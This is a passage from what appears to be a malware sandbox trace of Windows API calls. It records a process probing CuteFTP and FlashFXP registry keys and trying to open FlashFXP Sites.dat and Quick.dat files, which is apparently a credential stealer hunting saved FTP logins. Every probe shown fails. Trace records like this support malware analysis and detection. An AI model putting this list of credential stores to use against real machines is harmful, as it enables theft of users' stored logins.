(hMem=0x716ef8) returned 0x0 [0047.352] LocalFree (hMem=0x7469f0) returned 0x0 [0047.352] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.352] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.352] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.352] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.352] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.352] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.352] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.352] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.352] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.352] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.353] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.353] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.353] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.353] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.353] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.353] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.353] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.353] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.353] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 9\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.353] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 9\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.353] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 9\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.353] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.353] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0047.353] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0047.353] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.353] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0047.353] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0047.353] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.353] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.353] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0047.353] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0047.353] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0047.353] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd70) returned 0x0 [0047.353] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.353] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.373] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.373] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.373] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.373] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.373] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.373] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.373] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.373] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.373] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.373] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.374] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd20 | out: phkResult=0xefd20*=0x0) returned 0x2 [0047.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf4 | out: phkResult=0xefcf4*=0x0) returned 0x2 [0047.376] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcc8 | out: phkResult=0xefcc8*=0x0) returned 0x2 [0047.376] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.376] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0047.376] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.376] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0047.376] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0047.376] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.376] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" [0047.376] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned 50 [0047.376] lstrlenA (lpString="\\Sites.dat") returned 10 [0047.376] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x74a670 [0047.376] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" [0047.376] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3", lpString2="\\Sites.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat" [0047.376] LocalFree (hMem=0x756820) returned 0x0 [0047.376] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0047.376] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a738 [0047.376] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat", lpDst=0x74a738, nSize=0x3e | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat") returned 0x3d [0047.376] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\flashfxp\\3\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.376] LocalFree (hMem=0x74a738) returned 0x0 [0047.376] LocalFree (hMem=0x74a670) returned 0x0 [0047.376] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.376] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0047.376] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0047.376] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.376] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" [0047.376] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned 50 [0047.376] lstrlenA (lpString="\\Sites.dat") returned 10 [0047.376] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x74a670 [0047.376] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" [0047.376] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4", lpString2="\\Sites.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat" [0047.376] LocalFree (hMem=0x756820) returned 0x0 [0047.376] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0047.376] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a738 [0047.376] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat", lpDst=0x74a738, nSize=0x3e | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat") returned 0x3d [0047.376] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\flashfxp\\4\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.376] LocalFree (hMem=0x74a738) returned 0x0 [0047.376] LocalFree (hMem=0x74a670) returned 0x0 [0047.376] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.376] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0047.376] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0047.376] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.377] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" [0047.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned 50 [0047.377] lstrlenA (lpString="\\Quick.dat") returned 10 [0047.377] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x74a670 [0047.377] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" [0047.377] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3", lpString2="\\Quick.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat" [0047.377] LocalFree (hMem=0x756820) returned 0x0 [0047.377] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0047.377] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a738 [0047.377] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat", lpDst=0x74a738, nSize=0x3e | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat") returned 0x3d [0047.377] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\flashfxp\\3\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.377] LocalFree (hMem=0x74a738) returned 0x0 [0047.377] LocalFree (hMem=0x74a670) returned 0x0 [0047.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.377] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0047.377] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0047.377] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.377] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" [0047.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned 50 [0047.377] lstrlenA (lpString="\\Quick.dat") returned 10 [0047.377] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x74a670 [0047.377] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" [0047.377] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4", lpString2="\\Quick.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat" [0047.377] LocalFree (hMem=0x756820) returned 0x0 [0047.377] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0047.377] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a738 [0047.377] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat", lpDst=0x74a738, nSize=0x3e | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat") returned 0x3d [0047.377] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\flashfxp\\4\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.377] LocalFree 